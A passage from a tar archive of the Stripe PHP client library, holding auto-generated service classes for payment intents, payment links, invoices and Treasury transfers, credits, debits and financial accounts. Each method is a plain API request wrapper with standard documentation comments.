limit is reached. If * payment succeeds, the PaymentIntent will transition to the * <code>succeeded</code> status (or <code>requires_capture</code>, if * <code>capture_method</code> is set to <code>manual</code>). If the * <code>confirmation_method</code> is <code>automatic</code>, payment may be * attempted using our <a * href="/docs/stripe-js/reference#stripe-handle-card-payment">client SDKs</a> and * the PaymentIntent’s <a * href="#payment_intent_object-client_secret">client_secret</a>. After * <code>next_action</code>s are handled by the client, no additional confirmation * is required to complete the payment. If the <code>confirmation_method</code> is * <code>manual</code>, all payment attempts must be initiated using a secret key. * If any actions are required for the payment, the PaymentIntent will return to * the <code>requires_confirmation</code> state after those actions are completed. * Your server needs to then explicitly re-confirm the PaymentIntent to initiate * the next payment attempt. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function confirm($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_intents/%s/confirm', $id), $params, $opts); } /** * Creates a PaymentIntent object. * * After the PaymentIntent is created, attach a payment method and <a * href="/docs/api/payment_intents/confirm">confirm</a> to continue the payment. * Learn more about <a href="/docs/payments/payment-intents">the available payment * flows with the Payment Intents API</a>. * * When you use <code>confirm=true</code> during creation, it’s equivalent to * creating and confirming the PaymentIntent in the same call. You can use any * parameters available in the <a href="/docs/api/payment_intents/confirm">confirm * API</a> when you supply <code>confirm=true</code>. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/payment_intents', $params, $opts); } /** * Perform an incremental authorization on an eligible <a * href="/docs/api/payment_intents/object">PaymentIntent</a>. To be eligible, the * PaymentIntent’s status must be <code>requires_capture</code> and <a * href="/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported">incremental_authorization_supported</a> * must be <code>true</code>. * * Incremental authorizations attempt to increase the authorized amount on your * customer’s card to the new, higher <code>amount</code> provided. Similar to the * initial authorization, incremental authorizations can be declined. A single * PaymentIntent can call this endpoint multiple times to further increase the * authorized amount. * * If the incremental authorization succeeds, the PaymentIntent object returns with * the updated <a * href="/docs/api/payment_intents/object#payment_intent_object-amount">amount</a>. * If the incremental authorization fails, a <a * href="/docs/error-codes#card-declined">card_declined</a> error returns, and no * other fields on the PaymentIntent or Charge update. The PaymentIntent object * remains capturable for the previously authorized amount. * * Each PaymentIntent can have a maximum of 10 incremental authorization attempts, * including declines. After it’s captured, a PaymentIntent can no longer be * incremented. * * Learn more about <a * href="/docs/terminal/features/incremental-authorizations">incremental * authorizations</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function incrementAuthorization($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_intents/%s/increment_authorization', $id), $params, $opts); } /** * Retrieves the details of a PaymentIntent that has previously been created. * * You can retrieve a PaymentIntent client-side using a publishable key when the * <code>client_secret</code> is in the query string. * * If you retrieve a PaymentIntent with a publishable key, it only returns a subset * of properties. Refer to the <a href="#payment_intent_object">payment intent</a> * object reference for more details. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/payment_intents/%s', $id), $params, $opts); } /** * Search for PaymentIntents you’ve previously created using Stripe’s <a * href="/docs/search#search-query-language">Search Query Language</a>. Don’t use * search in read-after-write flows where strict consistency is necessary. Under * normal operating conditions, data is searchable in less than a minute. * Occasionally, propagation of new or updated data can be up to an hour behind * during outages. Search functionality is not available to merchants in India. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\PaymentIntent> */ public function search($params = null, $opts = null) { return $this->requestSearchResult('get', '/v1/payment_intents/search', $params, $opts); } /** * Updates properties on a PaymentIntent object without confirming. * * Depending on which properties you update, you might need to confirm the * PaymentIntent again. For example, updating the <code>payment_method</code> * always requires you to confirm the PaymentIntent again. If you prefer to update * and confirm at the same time, we recommend updating properties through the <a * href="/docs/api/payment_intents/confirm">confirm API</a> instead. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_intents/%s', $id), $params, $opts); } /** * Verifies microdeposits on a PaymentIntent object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public function verifyMicrodeposits($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_intents/%s/verify_microdeposits', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/PaymentLinkService.php���������������������������������������������������0000644�����������������00000005535�14720677707�0016175 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PaymentLinkService extends \Stripe\Service\AbstractService { /** * Returns a list of your payment links. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentLink> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/payment_links', $params, $opts); } /** * When retrieving a payment link, there is an includable * <strong>line_items</strong> property containing the first handful of those * items. There is also a URL where you can retrieve the full (paginated) list of * line items. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\LineItem> */ public function allLineItems($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/payment_links/%s/line_items', $id), $params, $opts); } /** * Creates a payment link. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentLink */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/payment_links', $params, $opts); } /** * Retrieve a payment link. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentLink */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/payment_links/%s', $id), $params, $opts); } /** * Updates a payment link. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentLink */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_links/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/InvoiceService.php�������������������������������������������������������0000644�����������������00000041567�14720677707�0015343 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class InvoiceService extends \Stripe\Service\AbstractService { /** * Adds multiple line items to an invoice. This is only possible when an invoice is * still a draft. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function addLines($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/add_lines', $id), $params, $opts); } /** * You can list all invoices, or list the invoices for a specific customer. The * invoices are returned sorted by creation date, with the most recently created * invoices appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Invoice> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/invoices', $params, $opts); } /** * When retrieving an invoice, you’ll get a <strong>lines</strong> property * containing the total count of line items and the first handful of those items. * There is also a URL where you can retrieve the full (paginated) list of line * items. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\InvoiceLineItem> */ public function allLines($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/invoices/%s/lines', $parentId), $params, $opts); } /** * This endpoint creates a draft invoice for a given customer. The invoice remains * a draft until you <a href="#finalize_invoice">finalize</a> the invoice, which * allows you to <a href="#pay_invoice">pay</a> or <a href="#send_invoice">send</a> * the invoice to your customers. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/invoices', $params, $opts); } /** * At any time, you can preview the upcoming invoice for a customer. This will show * you all the charges that are pending, including subscription renewal charges, * invoice item charges, etc. It will also show you any discounts that are * applicable to the invoice. * * Note that when you are viewing an upcoming invoice, you are simply viewing a * preview – the invoice has not yet been created. As such, the upcoming invoice * will not show up in invoice listing calls, and you cannot use the API to pay or * edit the invoice. If you want to change the amount that your customer will be * billed, you can add, remove, or update pending invoice items, or update the * customer’s discount. * * You can preview the effects of updating a subscription, including a preview of * what proration will take place. To ensure that the actual proration is * calculated exactly the same as the previewed proration, you should pass the * <code>subscription_details.proration_date</code> parameter when doing the actual * subscription update. The recommended way to get only the prorations being * previewed is to consider only proration line items where * <code>period[start]</code> is equal to the * <code>subscription_details.proration_date</code> value passed in the request. * * Note: Currency conversion calculations use the latest exchange rates. Exchange * rates may vary between the time of the preview and the time of the actual * invoice creation. <a href="https://docs.stripe.com/currencies/conversions">Learn * more</a> * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function createPreview($params = null, $opts = null) { return $this->request('post', '/v1/invoices/create_preview', $params, $opts); } /** * Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to * delete invoices that are no longer in a draft state will fail; once an invoice * has been finalized or if an invoice is for a subscription, it must be <a * href="#void_invoice">voided</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/invoices/%s', $id), $params, $opts); } /** * Stripe automatically finalizes drafts before sending and attempting payment on * invoices. However, if you’d like to finalize a draft invoice manually, you can * do so using this method. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function finalizeInvoice($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/finalize', $id), $params, $opts); } /** * Marking an invoice as uncollectible is useful for keeping track of bad debts * that can be written off for accounting purposes. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function markUncollectible($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/mark_uncollectible', $id), $params, $opts); } /** * Stripe automatically creates and then attempts to collect payment on invoices * for customers on subscriptions according to your <a * href="https://dashboard.stripe.com/account/billing/automatic">subscriptions * settings</a>. However, if you’d like to attempt payment on an invoice out of the * normal collection schedule or for some other reason, you can do so. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function pay($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/pay', $id), $params, $opts); } /** * Removes multiple line items from an invoice. This is only possible when an * invoice is still a draft. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function removeLines($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/remove_lines', $id), $params, $opts); } /** * Retrieves the invoice with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/invoices/%s', $id), $params, $opts); } /** * Search for invoices you’ve previously created using Stripe’s <a * href="/docs/search#search-query-language">Search Query Language</a>. Don’t use * search in read-after-write flows where strict consistency is necessary. Under * normal operating conditions, data is searchable in less than a minute. * Occasionally, propagation of new or updated data can be up to an hour behind * during outages. Search functionality is not available to merchants in India. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Invoice> */ public function search($params = null, $opts = null) { return $this->requestSearchResult('get', '/v1/invoices/search', $params, $opts); } /** * Stripe will automatically send invoices to customers according to your <a * href="https://dashboard.stripe.com/account/billing/automatic">subscriptions * settings</a>. However, if you’d like to manually send an invoice to your * customer out of the normal schedule, you can do so. When sending invoices that * have already been paid, there will be no reference to the payment in the email. * * Requests made in test-mode result in no emails being sent, despite sending an * <code>invoice.sent</code> event. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function sendInvoice($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/send', $id), $params, $opts); } /** * At any time, you can preview the upcoming invoice for a customer. This will show * you all the charges that are pending, including subscription renewal charges, * invoice item charges, etc. It will also show you any discounts that are * applicable to the invoice. * * Note that when you are viewing an upcoming invoice, you are simply viewing a * preview – the invoice has not yet been created. As such, the upcoming invoice * will not show up in invoice listing calls, and you cannot use the API to pay or * edit the invoice. If you want to change the amount that your customer will be * billed, you can add, remove, or update pending invoice items, or update the * customer’s discount. * * You can preview the effects of updating a subscription, including a preview of * what proration will take place. To ensure that the actual proration is * calculated exactly the same as the previewed proration, you should pass the * <code>subscription_details.proration_date</code> parameter when doing the actual * subscription update. The recommended way to get only the prorations being * previewed is to consider only proration line items where * <code>period[start]</code> is equal to the * <code>subscription_details.proration_date</code> value passed in the request. * * Note: Currency conversion calculations use the latest exchange rates. Exchange * rates may vary between the time of the preview and the time of the actual * invoice creation. <a href="https://docs.stripe.com/currencies/conversions">Learn * more</a> * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function upcoming($params = null, $opts = null) { return $this->request('get', '/v1/invoices/upcoming', $params, $opts); } /** * When retrieving an upcoming invoice, you’ll get a <strong>lines</strong> * property containing the total count of line items and the first handful of those * items. There is also a URL where you can retrieve the full (paginated) list of * line items. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\InvoiceLineItem> */ public function upcomingLines($params = null, $opts = null) { return $this->requestCollection('get', '/v1/invoices/upcoming/lines', $params, $opts); } /** * Draft invoices are fully editable. Once an invoice is <a * href="/docs/billing/invoices/workflow#finalized">finalized</a>, monetary values, * as well as <code>collection_method</code>, become uneditable. * * If you would like to stop the Stripe Billing engine from automatically * finalizing, reattempting payments on, sending reminders for, or <a * href="/docs/billing/invoices/reconciliation">automatically reconciling</a> * invoices, pass <code>auto_advance=false</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s', $id), $params, $opts); } /** * Updates an invoice’s line item. Some fields, such as <code>tax_amounts</code>, * only live on the invoice line item, so they can only be updated through this * endpoint. Other fields, such as <code>amount</code>, live on both the invoice * item and the invoice line item, so updates on this endpoint will propagate to * the invoice item as well. Updating an invoice’s line item is only possible * before the invoice is finalized. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceLineItem */ public function updateLine($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/lines/%s', $parentId, $id), $params, $opts); } /** * Updates multiple line items on an invoice. This is only possible when an invoice * is still a draft. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function updateLines($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/update_lines', $id), $params, $opts); } /** * Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is * similar to <a href="#delete_invoice">deletion</a>, however it only applies to * finalized invoices and maintains a papertrail where the invoice can still be * found. * * Consult with local regulations to determine whether and how an invoice might be * amended, canceled, or voided in the jurisdiction you’re doing business in. You * might need to <a href="#create_invoice">issue another invoice</a> or <a * href="#create_credit_note">credit note</a> instead. Stripe recommends that you * consult with your legal counsel for advice specific to your business. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public function voidInvoice($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/invoices/%s/void', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/OutboundTransferService.php�������������������������������������0000644�����������������00000004775�14720677707�0021071 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class OutboundTransferService extends \Stripe\Service\AbstractService { /** * Returns a list of OutboundTransfers sent from the specified FinancialAccount. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\OutboundTransfer> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/outbound_transfers', $params, $opts); } /** * An OutboundTransfer can be canceled if the funds have not yet been paid out. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/treasury/outbound_transfers/%s/cancel', $id), $params, $opts); } /** * Creates an OutboundTransfer. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/treasury/outbound_transfers', $params, $opts); } /** * Retrieves the details of an existing OutboundTransfer by passing the unique * OutboundTransfer ID from either the OutboundTransfer creation request or * OutboundTransfer list. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/outbound_transfers/%s', $id), $params, $opts); } } ���stripe-gateway/lib/Service/Treasury/InboundTransferService.php��������������������������������������0000644�����������������00000004475�14720677707�0020665 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class InboundTransferService extends \Stripe\Service\AbstractService { /** * Returns a list of InboundTransfers sent from the specified FinancialAccount. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\InboundTransfer> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/inbound_transfers', $params, $opts); } /** * Cancels an InboundTransfer. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/treasury/inbound_transfers/%s/cancel', $id), $params, $opts); } /** * Creates an InboundTransfer. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/treasury/inbound_transfers', $params, $opts); } /** * Retrieves the details of an existing InboundTransfer. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\InboundTransfer */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/inbound_transfers/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/ReceivedCreditService.php���������������������������������������0000644�����������������00000002610�14720677707�0020430 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReceivedCreditService extends \Stripe\Service\AbstractService { /** * Returns a list of ReceivedCredits. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\ReceivedCredit> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/received_credits', $params, $opts); } /** * Retrieves the details of an existing ReceivedCredit by passing the unique * ReceivedCredit ID from the ReceivedCredit list. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\ReceivedCredit */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/received_credits/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/ReceivedDebitService.php����������������������������������������0000644�����������������00000002577�14720677707�0020261 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReceivedDebitService extends \Stripe\Service\AbstractService { /** * Returns a list of ReceivedDebits. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\ReceivedDebit> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/received_debits', $params, $opts); } /** * Retrieves the details of an existing ReceivedDebit by passing the unique * ReceivedDebit ID from the ReceivedDebit list. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\ReceivedDebit */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/received_debits/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/TreasuryServiceFactory.php��������������������������������������0000644�����������������00000003110�14720677707�0020711 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * Service factory class for API resources in the Treasury namespace. * * @property CreditReversalService $creditReversals * @property DebitReversalService $debitReversals * @property FinancialAccountService $financialAccounts * @property InboundTransferService $inboundTransfers * @property OutboundPaymentService $outboundPayments * @property OutboundTransferService $outboundTransfers * @property ReceivedCreditService $receivedCredits * @property ReceivedDebitService $receivedDebits * @property TransactionEntryService $transactionEntries * @property TransactionService $transactions */ class TreasuryServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'creditReversals' => CreditReversalService::class, 'debitReversals' => DebitReversalService::class, 'financialAccounts' => FinancialAccountService::class, 'inboundTransfers' => InboundTransferService::class, 'outboundPayments' => OutboundPaymentService::class, 'outboundTransfers' => OutboundTransferService::class, 'receivedCredits' => ReceivedCreditService::class, 'receivedDebits' => ReceivedDebitService::class, 'transactionEntries' => TransactionEntryService::class, 'transactions' => TransactionService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Treasury/FinancialAccountService.php�������������������������������������0000644�����������������00000006753�14720677707�0020764 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class FinancialAccountService extends \Stripe\Service\AbstractService { /** * Returns a list of FinancialAccounts. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Treasury\FinancialAccount> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/treasury/financial_accounts', $params, $opts); } /** * Creates a new FinancialAccount. For now, each connected account can only have * one FinancialAccount. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccount */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/treasury/financial_accounts', $params, $opts); } /** * Retrieves the details of a FinancialAccount. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccount */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/financial_accounts/%s', $id), $params, $opts); } /** * Retrieves Features information associated with the FinancialAccount. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccountFeatures */ public function retrieveFeatures($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/treasury/financial_accounts/%s/features', $id), $params, $opts); } /** * Updates the details of a FinancialAccount. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccount */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/treasury/financial_accounts/%s', $id), $params, $opts); } /** * Updates the Features associated with a FinancialAccount. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\FinancialAccountFeatures */ public function updateFeatures($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/treasury/financial_accounts/%s/features', $id), $params, $opts); } } ���������������������stripe-gateway/lib/Service/Treasury/DebitReversalService.php����������������������������������������0000644�����������������00000003411�14720677707�0020302 